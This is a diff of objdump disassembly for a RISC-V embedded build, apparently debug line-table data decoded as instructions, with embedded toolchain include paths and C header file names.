-     cb0:	0100                	addi	s0,sp,128
-     cb2:	1005                	c.nop	-31
-     cb4:	0200                	addi	s0,sp,256
-     cb6:	0304                	addi	s1,sp,384
-     cb8:	06090003          	lb	zero,96(s2)
-     cbc:	0100                	addi	s0,sp,128
-     cbe:	0305                	addi	t1,t1,1
-     cc0:	0200                	addi	s0,sp,256
-     cc2:	0304                	addi	s1,sp,384
-     cc4:	00090103          	lb	sp,0(s2)
-     cc8:	0100                	addi	s0,sp,128
-     cca:	1c05                	addi	s8,s8,-31
-     ccc:	0200                	addi	s0,sp,256
-     cce:	0304                	addi	s1,sp,384
-     cd0:	00090003          	lb	zero,0(s2)
-     cd4:	0100                	addi	s0,sp,128
-     cd6:	0200                	addi	s0,sp,256
-     cd8:	0304                	addi	s1,sp,384
-     cda:	00090003          	lb	zero,0(s2)
-     cde:	0100                	addi	s0,sp,128
-     ce0:	0200                	addi	s0,sp,256
-     ce2:	0304                	addi	s1,sp,384
-     ce4:	08090003          	lb	zero,128(s2)
-     ce8:	0100                	addi	s0,sp,128
-     cea:	0305                	addi	t1,t1,1
-     cec:	0200                	addi	s0,sp,256
-     cee:	0304                	addi	s1,sp,384
-     cf0:	02090103          	lb	sp,32(s2)
-     cf4:	0100                	addi	s0,sp,128
-     cf6:	1c05                	addi	s8,s8,-31
-     cf8:	0200                	addi	s0,sp,256
-     cfa:	0304                	addi	s1,sp,384
-     cfc:	00090003          	lb	zero,0(s2)
-     d00:	0100                	addi	s0,sp,128
-     d02:	0200                	addi	s0,sp,256
-     d04:	0304                	addi	s1,sp,384
-     d06:	00090003          	lb	zero,0(s2)
-     d0a:	0100                	addi	s0,sp,128
-     d0c:	0200                	addi	s0,sp,256
-     d0e:	0304                	addi	s1,sp,384
-     d10:	08090003          	lb	zero,128(s2)
-     d14:	0100                	addi	s0,sp,128
-     d16:	0305                	addi	t1,t1,1
-     d18:	0200                	addi	s0,sp,256
-     d1a:	0304                	addi	s1,sp,384
-     d1c:	00090203          	lb	tp,0(s2)
-     d20:	0100                	addi	s0,sp,128
-     d22:	0d05                	addi	s10,s10,1
-     d24:	0200                	addi	s0,sp,256
-     d26:	0304                	addi	s1,sp,384
-     d28:	0306                	slli	t1,t1,0x1
-     d2a:	0900                	addi	s0,sp,144
-     d2c:	0000                	unimp
-     d2e:	0501                	addi	a0,a0,0
-     d30:	0011                	c.nop	4
-     d32:	0402                	c.slli64	s0
-     d34:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d38:	0004                	0x4
-     d3a:	0501                	addi	a0,a0,0
-     d3c:	0024                	addi	s1,sp,8
-     d3e:	0402                	c.slli64	s0
-     d40:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d44:	0002                	c.slli64	zero
-     d46:	0501                	addi	a0,a0,0
-     d48:	0020                	addi	s0,sp,8
-     d4a:	0402                	c.slli64	s0
-     d4c:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d50:	0002                	c.slli64	zero
-     d52:	0501                	addi	a0,a0,0
-     d54:	000d                	c.nop	3
-     d56:	0402                	c.slli64	s0
-     d58:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     d5c:	0004                	0x4
-     d5e:	0501                	addi	a0,a0,0
-     d60:	0016                	c.slli	zero,0x5
-     d62:	0402                	c.slli64	s0
-     d64:	00030603          	lb	a2,0(t1)
-     d68:	0209                	addi	tp,tp,2
-     d6a:	0100                	addi	s0,sp,128
-     d6c:	2005                	jal	d8c <__stack_size+0x58c>
-     d6e:	0200                	addi	s0,sp,256
-     d70:	0304                	addi	s1,sp,384
-     d72:	0306                	slli	t1,t1,0x1
-     d74:	0900                	addi	s0,sp,144
+     9dc:	01030603          	lb	a2,16(t1)
+     9e0:	0809                	addi	a6,a6,2
+     9e2:	0100                	addi	s0,sp,128
+     9e4:	0505                	addi	a0,a0,1
+     9e6:	0306                	slli	t1,t1,0x1
+     9e8:	0900                	addi	s0,sp,144
+     9ea:	0000                	unimp
+     9ec:	0501                	addi	a0,a0,0
+     9ee:	0604                	addi	s1,sp,768
+     9f0:	02090103          	lb	sp,32(s2)
+     9f4:	0100                	addi	s0,sp,128
+     9f6:	00090103          	lb	sp,0(s2)
+     9fa:	0100                	addi	s0,sp,128
+     9fc:	00090103          	lb	sp,0(s2)
+     a00:	0100                	addi	s0,sp,128
+     a02:	0a090103          	lb	sp,160(s2)
+     a06:	0100                	addi	s0,sp,128
+     a08:	0306                	slli	t1,t1,0x1
+     a0a:	0901                	addi	s2,s2,0
+     a0c:	0000                	unimp
+     a0e:	0501                	addi	a0,a0,0
+     a10:	030c                	addi	a1,sp,384
+     a12:	097f                	0x97f
+     a14:	0002                	c.slli64	zero
+     a16:	0501                	addi	a0,a0,0
+     a18:	0604                	addi	s1,sp,768
+     a1a:	04090103          	lb	sp,64(s2)
+     a1e:	0100                	addi	s0,sp,128
+     a20:	04090103          	lb	sp,64(s2)
+     a24:	0100                	addi	s0,sp,128
+     a26:	0705                	addi	a4,a4,1
+     a28:	0306                	slli	t1,t1,0x1
+     a2a:	0900                	addi	s0,sp,144
+     a2c:	0000                	unimp
+     a2e:	0501                	addi	a0,a0,0
+     a30:	0308                	addi	a0,sp,384
+     a32:	0904                	addi	s1,sp,144
+     a34:	0004                	0x4
+     a36:	0501                	addi	a0,a0,0
+     a38:	097c0307          	0x97c0307
+     a3c:	0002                	c.slli64	zero
+     a3e:	0501                	addi	a0,a0,0
+     a40:	031f 0900 0004      	0x40900031f
+     a46:	0501                	addi	a0,a0,0
+     a48:	09000307          	0x9000307
+     a4c:	0004                	0x4
+     a4e:	0501                	addi	a0,a0,0
+     a50:	0306                	slli	t1,t1,0x1
+     a52:	0900                	addi	s0,sp,144
+     a54:	0002                	c.slli64	zero
+     a56:	0501                	addi	a0,a0,0
+     a58:	0028                	addi	a0,sp,8
+     a5a:	0402                	c.slli64	s0
+     a5c:	0301                	addi	t1,t1,0
+     a5e:	0900                	addi	s0,sp,144
+     a60:	0004                	0x4
+     a62:	0501                	addi	a0,a0,0
+     a64:	0008                	0x8
+     a66:	0402                	c.slli64	s0
+     a68:	0301                	addi	t1,t1,0
+     a6a:	0901                	addi	s2,s2,0
+     a6c:	000a                	c.slli	zero,0x2
+     a6e:	0501                	addi	a0,a0,0
+     a70:	0604                	addi	s1,sp,768
+     a72:	04090503          	lb	a0,64(s2)
+     a76:	0100                	addi	s0,sp,128
+     a78:	06090103          	lb	sp,96(s2)
+     a7c:	0100                	addi	s0,sp,128
+     a7e:	0c05                	addi	s8,s8,1
+     a80:	0306                	slli	t1,t1,0x1
+     a82:	0900                	addi	s0,sp,144
+     a84:	0000                	unimp
+     a86:	0501                	addi	a0,a0,0
+     a88:	0604                	addi	s1,sp,768
+     a8a:	06090103          	lb	sp,96(s2)
+     a8e:	0100                	addi	s0,sp,128
+     a90:	1605                	addi	a2,a2,-31
+     a92:	0306                	slli	t1,t1,0x1
+     a94:	0900                	addi	s0,sp,144
+     a96:	0000                	unimp
+     a98:	0501                	addi	a0,a0,0
+     a9a:	030d                	addi	t1,t1,3
+     a9c:	0900                	addi	s0,sp,144
+     a9e:	0006                	c.slli	zero,0x1
+     aa0:	0501                	addi	a0,a0,0
+     aa2:	0604                	addi	s1,sp,768
+     aa4:	02090103          	lb	sp,32(s2)
+     aa8:	0100                	addi	s0,sp,128
+     aaa:	06090103          	lb	sp,96(s2)
+     aae:	0100                	addi	s0,sp,128
+     ab0:	0705                	addi	a4,a4,1
+     ab2:	0306                	slli	t1,t1,0x1
+     ab4:	0900                	addi	s0,sp,144
+     ab6:	0000                	unimp
+     ab8:	0501                	addi	a0,a0,0
+     aba:	0304                	addi	s1,sp,384
+     abc:	0902                	c.slli64	s2
+     abe:	0002                	c.slli64	zero
+     ac0:	0501                	addi	a0,a0,0
+     ac2:	030e                	slli	t1,t1,0x3
+     ac4:	097e                	slli	s2,s2,0x1f
+     ac6:	0002                	c.slli64	zero
+     ac8:	0501                	addi	a0,a0,0
+     aca:	0604                	addi	s1,sp,768
+     acc:	04090203          	lb	tp,64(s2)
+     ad0:	0100                	addi	s0,sp,128
+     ad2:	3305                	jal	7f2 <__stack_size-0xe>
+     ad4:	0306                	slli	t1,t1,0x1
+     ad6:	0900                	addi	s0,sp,144
+     ad8:	0000                	unimp
+     ada:	0501                	addi	a0,a0,0
+     adc:	0304                	addi	s1,sp,384
+     ade:	0900                	addi	s0,sp,144
+     ae0:	0002                	c.slli64	zero
+     ae2:	0601                	addi	a2,a2,0
+     ae4:	08090103          	lb	sp,128(s2)
+     ae8:	0100                	addi	s0,sp,128
+     aea:	0905                	addi	s2,s2,1
+     aec:	0306                	slli	t1,t1,0x1
+     aee:	0900                	addi	s0,sp,144
+     af0:	0000                	unimp
+     af2:	0501                	addi	a0,a0,0
+     af4:	0604                	addi	s1,sp,768
+     af6:	08090103          	lb	sp,128(s2)
+     afa:	0100                	addi	s0,sp,128
+     afc:	0e090403          	lb	s0,224(s2)
+     b00:	0100                	addi	s0,sp,128
+     b02:	0905                	addi	s2,s2,1
+     b04:	0306                	slli	t1,t1,0x1
+     b06:	0900                	addi	s0,sp,144
+     b08:	0000                	unimp
+     b0a:	0501                	addi	a0,a0,0
+     b0c:	0604                	addi	s1,sp,768
+     b0e:	08090103          	lb	sp,128(s2)
+     b12:	0100                	addi	s0,sp,128
+     b14:	0705                	addi	a4,a4,1
+     b16:	0306                	slli	t1,t1,0x1
+     b18:	0900                	addi	s0,sp,144
+     b1a:	0000                	unimp
+     b1c:	0501                	addi	a0,a0,0
+     b1e:	0605                	addi	a2,a2,1
+     b20:	02090103          	lb	sp,32(s2)
+     b24:	0100                	addi	s0,sp,128
+     b26:	06090103          	lb	sp,96(s2)
+     b2a:	0100                	addi	s0,sp,128
+     b2c:	0609                	addi	a2,a2,2
+     b2e:	0000                	unimp
+     b30:	0101                	addi	sp,sp,0
+     b32:	000005c7          	fmsub.s	fa1,ft0,ft0,ft0,rne
+     b36:	02b00003          	lb	zero,43(zero) # 2b <__stack_size-0x7d5>
+     b3a:	0000                	unimp
+     b3c:	0101                	addi	sp,sp,0
+     b3e:	000d0efb          	0xd0efb
+     b42:	0101                	addi	sp,sp,0
+     b44:	0101                	addi	sp,sp,0
+     b46:	0000                	unimp
+     b48:	0100                	addi	s0,sp,128
+     b4a:	0000                	unimp
+     b4c:	2e01                	jal	e5c <__stack_size+0x65c>
+     b4e:	2f2e                	fld	ft10,200(sp)
+     b50:	72616873          	csrrsi	a6,0x726,2
+     b54:	6465                	lui	s0,0x19
+     b56:	2e00                	fld	fs0,24(a2)
+     b58:	2f2e                	fld	ft10,200(sp)
+     b5a:	72616873          	csrrsi	a6,0x726,2
+     b5e:	6465                	lui	s0,0x19
+     b60:	636e692f          	0x636e692f
+     b64:	756c                	flw	fa1,108(a0)
+     b66:	6564                	flw	fs1,76(a0)
+     b68:	2f00                	fld	fs0,24(a4)
+     b6a:	6f68                	flw	fa0,92(a4)
+     b6c:	656d                	lui	a0,0x1b
+     b6e:	7369722f          	0x7369722f
+     b72:	742f7663          	bgeu	t5,sp,12be <__stack_size+0xabe>
+     b76:	736c6f6f          	jal	t5,c72ac <__stack_size+0xc6aac>
+     b7a:	7369722f          	0x7369722f
+     b7e:	672d7663          	bgeu	s10,s2,11ea <__stack_size+0x9ea>
+     b82:	756e                	flw	fa0,248(sp)
+     b84:	742d                	lui	s0,0xfffeb
+     b86:	636c6f6f          	jal	t5,c71bc <__stack_size+0xc69bc>
+     b8a:	6168                	flw	fa0,68(a0)
+     b8c:	6e69                	lui	t3,0x1a
+     b8e:	682d                	lui	a6,0xb
+     b90:	7865                	lui	a6,0xffff9
+     b92:	6966                	flw	fs2,88(sp)
+     b94:	6576                	flw	fa0,92(sp)
+     b96:	7369722f          	0x7369722f
+     b9a:	34367663          	bgeu	a2,gp,ee6 <__stack_size+0x6e6>
+     b9e:	752d                	lui	a0,0xfffeb
+     ba0:	6b6e                	flw	fs6,216(sp)
+     ba2:	6f6e                	flw	ft10,216(sp)
+     ba4:	652d6e77          	0x652d6e77
+     ba8:	666c                	flw	fa1,76(a2)
+     baa:	636e692f          	0x636e692f
+     bae:	756c                	flw	fa1,108(a0)
+     bb0:	6564                	flw	fs1,76(a0)
+     bb2:	2f00                	fld	fs0,24(a4)
+     bb4:	6f68                	flw	fa0,92(a4)
+     bb6:	656d                	lui	a0,0x1b
+     bb8:	7369722f          	0x7369722f
+     bbc:	742f7663          	bgeu	t5,sp,1308 <__stack_size+0xb08>
+     bc0:	736c6f6f          	jal	t5,c72f6 <__stack_size+0xc6af6>
+     bc4:	7369722f          	0x7369722f
+     bc8:	672d7663          	bgeu	s10,s2,1234 <__stack_size+0xa34>
+     bcc:	756e                	flw	fa0,248(sp)
+     bce:	742d                	lui	s0,0xfffeb
+     bd0:	636c6f6f          	jal	t5,c7206 <__stack_size+0xc6a06>
+     bd4:	6168                	flw	fa0,68(a0)
+     bd6:	6e69                	lui	t3,0x1a
+     bd8:	682d                	lui	a6,0xb
+     bda:	7865                	lui	a6,0xffff9
+     bdc:	6966                	flw	fs2,88(sp)
+     bde:	6576                	flw	fa0,92(sp)
+     be0:	62696c2f          	0x62696c2f
+     be4:	6363672f          	0x6363672f
+     be8:	7369722f          	0x7369722f
+     bec:	34367663          	bgeu	a2,gp,f38 <__stack_size+0x738>
+     bf0:	752d                	lui	a0,0xfffeb
+     bf2:	6b6e                	flw	fs6,216(sp)
+     bf4:	6f6e                	flw	ft10,216(sp)
+     bf6:	652d6e77          	0x652d6e77
+     bfa:	666c                	flw	fa1,76(a2)
+     bfc:	2e30312f          	0x2e30312f
+     c00:	2e31                	jal	f1c <__stack_size+0x71c>
+     c02:	2f30                	fld	fa2,88(a4)
+     c04:	6e69                	lui	t3,0x1a
+     c06:	64756c63          	bltu	a0,t2,125e <__stack_size+0xa5e>
+     c0a:	0065                	c.nop	25
+     c0c:	6d6f682f          	0x6d6f682f
+     c10:	2f65                	jal	13c8 <__stack_size+0xbc8>
+     c12:	6972                	flw	fs2,28(sp)
+     c14:	2f766373          	csrrsi	t1,0x2f7,12
+     c18:	6f74                	flw	fa3,92(a4)
+     c1a:	2f736c6f          	jal	s8,37710 <__stack_size+0x36f10>
+     c1e:	6972                	flw	fs2,28(sp)
+     c20:	2d766373          	csrrsi	t1,0x2d7,12
+     c24:	2d756e67          	0x2d756e67
+     c28:	6f74                	flw	fa3,92(a4)
+     c2a:	68636c6f          	jal	s8,372b0 <__stack_size+0x36ab0>
+     c2e:	6961                	lui	s2,0x18
+     c30:	2d6e                	fld	fs10,216(sp)
+     c32:	6568                	flw	fa0,76(a0)
+     c34:	6678                	flw	fa4,76(a2)
+     c36:	7669                	lui	a2,0xffffa
+     c38:	2f65                	jal	13f0 <__stack_size+0xbf0>
+     c3a:	6972                	flw	fs2,28(sp)
+     c3c:	36766373          	csrrsi	t1,0x367,12
+     c40:	2d34                	fld	fa3,88(a0)
+     c42:	6e75                	lui	t3,0x1d
+     c44:	776f6e6b          	0x776f6e6b
+     c48:	2d6e                	fld	fs10,216(sp)
+     c4a:	6c65                	lui	s8,0x19
+     c4c:	2f66                	fld	ft10,88(sp)
+     c4e:	6e69                	lui	t3,0x1a
+     c50:	64756c63          	bltu	a0,t2,12a8 <__stack_size+0xaa8>
+     c54:	2f65                	jal	140c <__stack_size+0xc0c>
+     c56:	616d                	addi	sp,sp,240
+     c58:	6e696863          	bltu	s2,t1,1348 <__stack_size+0xb48>
+     c5c:	0065                	c.nop	25
+     c5e:	6d6f682f          	0x6d6f682f
+     c62:	2f65                	jal	141a <__stack_size+0xc1a>
+     c64:	6972                	flw	fs2,28(sp)
+     c66:	2f766373          	csrrsi	t1,0x2f7,12
+     c6a:	6f74                	flw	fa3,92(a4)
+     c6c:	2f736c6f          	jal	s8,37762 <__stack_size+0x36f62>
+     c70:	6972                	flw	fs2,28(sp)
+     c72:	2d766373          	csrrsi	t1,0x2d7,12
+     c76:	2d756e67          	0x2d756e67
+     c7a:	6f74                	flw	fa3,92(a4)
+     c7c:	68636c6f          	jal	s8,37302 <__stack_size+0x36b02>
+     c80:	6961                	lui	s2,0x18
+     c82:	2d6e                	fld	fs10,216(sp)
+     c84:	6568                	flw	fa0,76(a0)
+     c86:	6678                	flw	fa4,76(a2)
+     c88:	7669                	lui	a2,0xffffa
+     c8a:	2f65                	jal	1442 <__stack_size+0xc42>
+     c8c:	6972                	flw	fs2,28(sp)
+     c8e:	36766373          	csrrsi	t1,0x367,12
+     c92:	2d34                	fld	fa3,88(a0)
+     c94:	6e75                	lui	t3,0x1d
+     c96:	776f6e6b          	0x776f6e6b
+     c9a:	2d6e                	fld	fs10,216(sp)
+     c9c:	6c65                	lui	s8,0x19
+     c9e:	2f66                	fld	ft10,88(sp)
+     ca0:	6e69                	lui	t3,0x1a
+     ca2:	64756c63          	bltu	a0,t2,12fa <__stack_size+0xafa>
+     ca6:	2f65                	jal	145e <__stack_size+0xc5e>
+     ca8:	00737973          	csrrci	s2,0x7,6
+     cac:	5a00                	lw	s0,48(a2)
+     cae:	4d656e6f          	jal	t3,57184 <__stack_size+0x56984>
+     cb2:	7365                	lui	t1,0xffff9
+     cb4:	65676173          	csrrsi	sp,0x656,14
+     cb8:	632e                	flw	ft6,200(sp)
+     cba:	0100                	addi	s0,sp,128
+     cbc:	0000                	unimp
+     cbe:	6f5a                	flw	ft10,148(sp)
+     cc0:	656e                	flw	fa0,216(sp)
+     cc2:	654d                	lui	a0,0x13
+     cc4:	67617373          	csrrci	t1,0x676,2
+     cc8:	2e65                	jal	1080 <__stack_size+0x880>
+     cca:	0068                	addi	a0,sp,12
+     ccc:	0002                	c.slli64	zero
+     cce:	7300                	flw	fs0,32(a4)
+     cd0:	7274                	flw	fa3,100(a2)
+     cd2:	6e69                	lui	t3,0x1a
+     cd4:	00682e67          	0x682e67
+     cd8:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     cdc:	6474                	flw	fa3,76(s0)
+     cde:	696c                	flw	fa1,84(a0)
+     ce0:	2e62                	fld	ft8,24(sp)
+     ce2:	0068                	addi	a0,sp,12
+     ce4:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     ce8:	6474                	flw	fa3,76(s0)
+     cea:	6e69                	lui	t3,0x1a
+     cec:	2d74                	fld	fa3,216(a0)
+     cee:	2e636367          	0x2e636367
+     cf2:	0068                	addi	a0,sp,12
+     cf4:	0004                	0x4
+     cf6:	7300                	flw	fs0,32(a4)
+     cf8:	6474                	flw	fa3,76(s0)
+     cfa:	6e69                	lui	t3,0x1a
+     cfc:	2e74                	fld	fa3,216(a2)
+     cfe:	0068                	addi	a0,sp,12
+     d00:	0004                	0x4
+     d02:	7300                	flw	fs0,32(a4)
+     d04:	6474                	flw	fa3,76(s0)
+     d06:	6564                	flw	fs1,76(a0)
+     d08:	2e66                	fld	ft8,88(sp)
+     d0a:	0068                	addi	a0,sp,12
+     d0c:	0004                	0x4
+     d0e:	6900                	flw	fs0,16(a0)
+     d10:	6565                	lui	a0,0x19
+     d12:	6665                	lui	a2,0x19
+     d14:	2e70                	fld	fa2,216(a2)
+     d16:	0068                	addi	a0,sp,12
+     d18:	0005                	c.nop	1
+     d1a:	5f00                	lw	s0,56(a4)
+     d1c:	6e61                	lui	t3,0x18
+     d1e:	682e6973          	csrrsi	s2,0x682,28
+     d22:	0300                	addi	s0,sp,384
+     d24:	0000                	unimp
+     d26:	656e                	flw	fa0,216(sp)
+     d28:	62696c77          	0x62696c77
+     d2c:	682e                	flw	fa6,200(sp)
+     d2e:	0300                	addi	s0,sp,384
+     d30:	0000                	unimp
+     d32:	6e5f 7765 696c      	0x696c77656e5f
+     d38:	5f62                	lw	t5,56(sp)
+     d3a:	6576                	flw	fa0,92(sp)
+     d3c:	7372                	flw	ft6,60(sp)
+     d3e:	6f69                	lui	t5,0x1a
+     d40:	2e6e                	fld	ft8,216(sp)
+     d42:	0068                	addi	a0,sp,12
+     d44:	63000003          	lb	zero,1584(zero) # 630 <__stack_size-0x1d0>
+     d48:	69666e6f          	jal	t3,673de <__stack_size+0x66bde>
+     d4c:	00682e67          	0x682e67
+     d50:	0006                	c.slli	zero,0x1
+     d52:	6600                	flw	fs0,8(a2)
+     d54:	6165                	addi	sp,sp,112
+     d56:	7574                	flw	fa3,108(a0)
+     d58:	6572                	flw	fa0,28(sp)
+     d5a:	00682e73          	csrrs	t3,0x6,a6
+     d5e:	0006                	c.slli	zero,0x1
+     d60:	7200                	flw	fs0,32(a2)
+     d62:	6565                	lui	a0,0x19
+     d64:	746e                	flw	fs0,248(sp)
+     d66:	682e                	flw	fa6,200(sp)
+     d68:	0600                	addi	s0,sp,768
+     d6a:	0000                	unimp
+     d6c:	745f 7079 7365      	0x73657079745f
+     d72:	682e                	flw	fa6,200(sp)
+     d74:	0600                	addi	s0,sp,768
      d76:	0000                	unimp
-     d78:	0501                	addi	a0,a0,0
-     d7a:	0019                	c.nop	6
-     d7c:	0402                	c.slli64	s0
-     d7e:	78030603          	lb	a2,1920(t1)
-     d82:	0209                	addi	tp,tp,2
-     d84:	0100                	addi	s0,sp,128
-     d86:	1005                	c.nop	-31
-     d88:	0200                	addi	s0,sp,256
-     d8a:	0304                	addi	s1,sp,384
-     d8c:	00090003          	lb	zero,0(s2)
-     d90:	0100                	addi	s0,sp,128
-     d92:	0205                	addi	tp,tp,1
-     d94:	0200                	addi	s0,sp,256
-     d96:	0304                	addi	s1,sp,384
-     d98:	0306                	slli	t1,t1,0x1
-     d9a:	0900                	addi	s0,sp,144
-     d9c:	0000                	unimp
-     d9e:	0501                	addi	a0,a0,0
-     da0:	0306                	slli	t1,t1,0x1
-     da2:	090c                	addi	a1,sp,144
-     da4:	0008                	0x8
-     da6:	0501                	addi	a0,a0,0
-     da8:	001e                	c.slli	zero,0x7
-     daa:	0402                	c.slli64	s0
-     dac:	01030603          	lb	a2,16(t1)
-     db0:	0209                	addi	tp,tp,2
-     db2:	0100                	addi	s0,sp,128
-     db4:	2805                	jal	de4 <__stack_size+0x5e4>
-     db6:	0200                	addi	s0,sp,256
-     db8:	0304                	addi	s1,sp,384
-     dba:	0306                	slli	t1,t1,0x1
-     dbc:	0900                	addi	s0,sp,144
-     dbe:	0000                	unimp
-     dc0:	0501                	addi	a0,a0,0
-     dc2:	0019                	c.nop	6
-     dc4:	0402                	c.slli64	s0
-     dc6:	00030603          	lb	a2,0(t1)
-     dca:	0809                	addi	a6,a6,2
-     dcc:	0100                	addi	s0,sp,128
-     dce:	1005                	c.nop	-31
-     dd0:	0200                	addi	s0,sp,256
-     dd2:	0304                	addi	s1,sp,384
-     dd4:	00090003          	lb	zero,0(s2)
-     dd8:	0100                	addi	s0,sp,128
-     dda:	0205                	addi	tp,tp,1
-     ddc:	0200                	addi	s0,sp,256
-     dde:	0304                	addi	s1,sp,384
-     de0:	0306                	slli	t1,t1,0x1
-     de2:	0900                	addi	s0,sp,144
-     de4:	0000                	unimp
-     de6:	0601                	addi	a2,a2,0
-     de8:	06090103          	lb	sp,96(s2)
-     dec:	0100                	addi	s0,sp,128
-     dee:	1005                	c.nop	-31
-     df0:	00090003          	lb	zero,0(s2)
-     df4:	0100                	addi	s0,sp,128
-     df6:	3005                	jal	616 <__stack_size-0x1ea>
-     df8:	0e090003          	lb	zero,224(s2)
+     d78:	745f 7079 7365      	0x73657079745f
+     d7e:	682e                	flw	fa6,200(sp)
+     d80:	0500                	addi	s0,sp,640
+     d82:	0000                	unimp
+     d84:	645f 6665 7561      	0x75616665645f
+     d8a:	746c                	flw	fa1,108(s0)
+     d8c:	745f 7079 7365      	0x73657079745f
+     d92:	682e                	flw	fa6,200(sp)
+     d94:	0500                	addi	s0,sp,640
+     d96:	0000                	unimp
+     d98:	6f6c                	flw	fa1,92(a4)
+     d9a:	682e6b63          	bltu	t3,sp,1430 <__stack_size+0xc30>
+     d9e:	0600                	addi	s0,sp,768
+     da0:	0000                	unimp
+     da2:	66656463          	bltu	a0,t1,140a <__stack_size+0xc0a>
+     da6:	00682e73          	csrrs	t3,0x6,a6
+     daa:	0006                	c.slli	zero,0x1
+     dac:	7300                	flw	fs0,32(a4)
+     dae:	6474                	flw	fa3,76(s0)
+     db0:	696c                	flw	fa1,84(a0)
+     db2:	2e62                	fld	ft8,24(sp)
+     db4:	0068                	addi	a0,sp,12
+     db6:	0005                	c.nop	1
+     db8:	6100                	flw	fs0,0(a0)
+     dba:	6c6c                	flw	fa1,92(s0)
+     dbc:	2e61636f          	jal	t1,170a2 <__stack_size+0x168a2>
+     dc0:	0068                	addi	a0,sp,12
+     dc2:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+     dc6:	6f6c                	flw	fa1,92(a4)
+     dc8:	656c6163          	bltu	s8,s6,140a <__stack_size+0xc0a>
+     dcc:	682e                	flw	fa6,200(sp)
+     dce:	0600                	addi	s0,sp,768
+     dd0:	0000                	unimp
+     dd2:	69727473          	csrrci	s0,0x697,4
+     dd6:	676e                	flw	fa4,216(sp)
+     dd8:	00682e73          	csrrs	t3,0x6,a6
+     ddc:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     de0:	7274                	flw	fa3,100(a2)
+     de2:	6e69                	lui	t3,0x1a
+     de4:	00682e67          	0x682e67
+     de8:	0006                	c.slli	zero,0x1
+     dea:	0000                	unimp
+     dec:	0105                	addi	sp,sp,1
+     dee:	0500                	addi	s0,sp,640
+     df0:	1202                	slli	tp,tp,0x20
+     df2:	401d                	c.li	zero,7
+     df4:	1620                	addi	s0,sp,808
+     df6:	0205                	addi	tp,tp,1
+     df8:	00090103          	lb	sp,0(s2) # 18000 <__stack_size+0x17800>
      dfc:	0100                	addi	s0,sp,128
-     dfe:	4405                	li	s0,1
-     e00:	0306                	slli	t1,t1,0x1
-     e02:	0900                	addi	s0,sp,144
-     e04:	0000                	unimp
-     e06:	0501                	addi	a0,a0,0
-     e08:	0602                	c.slli64	a2
-     e0a:	08090203          	lb	tp,128(s2)
-     e0e:	0100                	addi	s0,sp,128
-     e10:	0705                	addi	a4,a4,1
-     e12:	00090003          	lb	zero,0(s2)
-     e16:	0100                	addi	s0,sp,128
-     e18:	1005                	c.nop	-31
-     e1a:	00090003          	lb	zero,0(s2)
-     e1e:	0100                	addi	s0,sp,128
-     e20:	3a05                	jal	750 <__stack_size-0xb0>
-     e22:	0306                	slli	t1,t1,0x1
-     e24:	097e                	slli	s2,s2,0x1f
-     e26:	0000                	unimp
-     e28:	0501                	addi	a0,a0,0
-     e2a:	09030303          	lb	t1,144(t1)
-     e2e:	0002                	c.slli64	zero
-     e30:	0501                	addi	a0,a0,0
-     e32:	0302                	c.slli64	t1
-     e34:	097f                	0x97f
-     e36:	000c                	0xc
-     e38:	0501                	addi	a0,a0,0
-     e3a:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     e3e:	01030603          	lb	a2,16(t1)
-     e42:	0409                	addi	s0,s0,2
-     e44:	0100                	addi	s0,sp,128
-     e46:	0205                	addi	tp,tp,1
-     e48:	0200                	addi	s0,sp,256
-     e4a:	0304                	addi	s1,sp,384
-     e4c:	0306                	slli	t1,t1,0x1
-     e4e:	097f                	0x97f
-     e50:	0018                	0x18
-     e52:	0501                	addi	a0,a0,0
-     e54:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     e58:	09010303          	lb	t1,144(sp)
-     e5c:	0002                	c.slli64	zero
-     e5e:	0501                	addi	a0,a0,0
-     e60:	0019                	c.nop	6
-     e62:	0402                	c.slli64	s0
-     e64:	7f030603          	lb	a2,2032(t1)
-     e68:	0409                	addi	s0,s0,2
-     e6a:	0100                	addi	s0,sp,128
-     e6c:	1005                	c.nop	-31
-     e6e:	0200                	addi	s0,sp,256
-     e70:	0304                	addi	s1,sp,384
-     e72:	00090003          	lb	zero,0(s2)
-     e76:	0100                	addi	s0,sp,128
-     e78:	0205                	addi	tp,tp,1
-     e7a:	0200                	addi	s0,sp,256
-     e7c:	0304                	addi	s1,sp,384
-     e7e:	0306                	slli	t1,t1,0x1
-     e80:	0900                	addi	s0,sp,144
-     e82:	0000                	unimp
-     e84:	0601                	addi	a2,a2,0
-     e86:	04090303          	lb	t1,64(s2)
-     e8a:	0100                	addi	s0,sp,128
-     e8c:	12090103          	lb	sp,288(s2)
-     e90:	0100                	addi	s0,sp,128
-     e92:	12090203          	lb	tp,288(s2)
-     e96:	0100                	addi	s0,sp,128
-     e98:	0505                	addi	a0,a0,1
-     e9a:	0c090103          	lb	sp,192(s2)
-     e9e:	0100                	addi	s0,sp,128
-     ea0:	00090103          	lb	sp,0(s2)
-     ea4:	0100                	addi	s0,sp,128
-     ea6:	0205                	addi	tp,tp,1
-     ea8:	12090103          	lb	sp,288(s2)
+     dfe:	00090103          	lb	sp,0(s2)
+     e02:	0100                	addi	s0,sp,128
+     e04:	0105                	addi	sp,sp,1
+     e06:	0306                	slli	t1,t1,0x1
+     e08:	097e                	slli	s2,s2,0x1f
+     e0a:	0000                	unimp
+     e0c:	0501                	addi	a0,a0,0
+     e0e:	031c                	addi	a5,sp,384
+     e10:	0902                	c.slli64	s2
+     e12:	0002                	c.slli64	zero
+     e14:	0501                	addi	a0,a0,0
+     e16:	0301                	addi	t1,t1,0
+     e18:	097e                	slli	s2,s2,0x1f
+     e1a:	0002                	c.slli64	zero
+     e1c:	0501                	addi	a0,a0,0
+     e1e:	031c                	addi	a5,sp,384
+     e20:	0902                	c.slli64	s2
+     e22:	0002                	c.slli64	zero
+     e24:	0501                	addi	a0,a0,0
+     e26:	0602                	c.slli64	a2
+     e28:	04090103          	lb	sp,64(s2)
+     e2c:	0100                	addi	s0,sp,128
